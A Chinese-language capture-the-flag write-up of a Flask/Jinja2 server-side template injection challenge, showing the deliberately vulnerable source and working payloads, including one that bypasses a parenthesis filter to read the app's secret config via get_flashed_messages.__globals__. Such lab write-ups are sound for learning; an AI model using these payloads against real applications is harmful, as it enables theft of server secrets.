分析
打开网页首先是一段源码,右键查看网页源代码,如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{ % set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
|
查看发现
1
|
render_template_string(safe_jinja(shrine))
|
那这题应该是个SSTI,这个我之前不怎么会,赶紧搜搜搜,然后试了一波,发现很多都没有过滤小括号的教程,开始陷入迷茫。
之后google发现大佬的wp,赶紧跟着做一波
解题
以下为大佬原文,链接在reference最后一个
测试发现是 jinja2 或 Twig,后端源码为 flask
所以这个是关于 flask + jinja2 的 SSTI
至于为什么,请看图
1
|
{{''.__class__.__mro__[2].__subclasses__()}}
|
明显这里对 ()
进行了过滤
只能从别的地方入手,例如 flask 的内置函数和变量,
当然,config 和 self 也被加入了黑名单
但通过变量去读取 app.config 也会涉及到 ()
的使用
所以只剩下内置函数
get_flashed_messages(), url_for()
构造payload
1
|
{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
|
得到flag
reference